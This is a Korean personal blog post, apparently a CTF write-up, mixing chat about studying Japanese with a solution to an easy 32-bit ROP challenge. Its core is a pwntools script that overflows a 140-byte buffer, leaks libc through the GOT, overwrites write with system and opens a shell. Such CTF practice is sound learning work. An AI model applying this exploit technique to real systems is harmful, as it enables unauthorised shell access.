시작
안녕하세요 :D
요즘 하고 있는게 많아서 열심히 사는 느낌이 듭니다 ㅎㅎㅎ
일단 BCACTF!! beginners 난이도라길래 어떤 귀여운 pwn 문제가 나올까 잔뜩 기대했는데..
![](https://k.kakaocdn.net/dn/cP4iHw/btqv0y7rCZV/jTIsKTrgQ2qC6Fhop6KIZ1/img.png)
포너블 문제가 없어요.. 이게 CTF입니까!!!! 당장 쉘을 따게 해 주세요ㅠㅠㅠㅠㅠ
아쉬운 대로 리버싱만 끄적여봤습니다.. 실망..
또 JLPT N2 시험이 한 달도 채 남지 않아서 정신없이 단어 외우고 있는 중입니다ㅏㅏ
자연스럽게 포너블에 소홀해졌네요.. 힙이랑 카나리 공부 하고싶다ㅏㅏㅏㅏ
6월엔 일본어만 열심히 하자!! 란 마인드였는데 몸은 싸지방에 앉아서 ctftime.org 들어가고 있네요 ㅋㅋㅋㅋ
스트레스도 풀 겸 엄청 쉬운 rop 문제를 풀었습니다!! 무려 15분컷!! rop때매 우울했던 날들은 이제 안녕이에요
Write UP
사실 스트레스는 문제를 풀었을 때보다 이 포스팅을 작성할 때 더 풀려요 ㅎㅎㅎ
왜냐면 이 롸업부터 예쁜 하이라이팅을 씌울 거니까요!!
뭐든 깔끔하고 반짝거리고 예쁜게 최곱니다. 맥 + 아이폰 + 아이패드를 쓰는 이유와 같죠
문제도 쉽고, 싸지방 시간이 7분밖에 남지 않았으니깐 빠르게 쓰겠습니다.
32비트 바이너리 파일로 136 + 4 bytes 로 BOF가 일어나고 pppr 가젯을 이용해 binsh 저장, 메모리 leak, 쉘 획득 대잔치입니다.
#!/usr/bin/python
from pwn import *
#context.log_level = "debug"
e = ELF("./rop3")
l = e.libc
p = process(e.path)
pppr = 0x804855d
pr = 0x8048443
payload = ""
payload += "A" * 140
payload += p32(e.plt["read"])
payload += p32(pppr)
payload += p32(0)
payload += p32(e.bss())
payload += p32(len("/bin/sh\x00"))
payload += p32(e.plt["write"])
payload += p32(pppr)
payload += p32(1)
payload += p32(e.got["write"])
payload += p32(4)
payload += p32(e.plt["read"])
payload += p32(pppr)
payload += p32(0)
payload += p32(e.got["write"])
payload += p32(4)
payload += p32(e.plt["write"])
payload += p32(pr)
payload += p32(e.bss())
p.send(payload)
p.send("/bin/sh\x00")
libc_write = u32(p.recv(4).ljust(4, "\x00"))
libc_start = libc_write - l.symbols["write"]
libc_system = libc_start + l.symbols["system"]
print "libc_wirte = ", hex(libc_write)
p.send(p32(libc_system))
p.interactive()
예쁘네요
마무리
2분 남았네욬ㅋㅋㅋㅋㅋㅋ
Google CTF도 곧 열리는데 기대됩니다!
BOB 자소서 준비도 해야되고.. 일단 파이팅!!!! :D
'CTF_Write_UP' 카테고리의 다른 글
[DefCon 2014] baby's first heap (0) | 2019.08.07 |
---|---|
[DefCon 2016] Feed Me (0) | 2019.06.14 |
[HSCTF 2019] Write up (0) | 2019.06.08 |
[2017 CSAW CTF] pilot (0) | 2019.05.30 |
[Codegate 2018] BaskinRobins31 (0) | 2019.05.27 |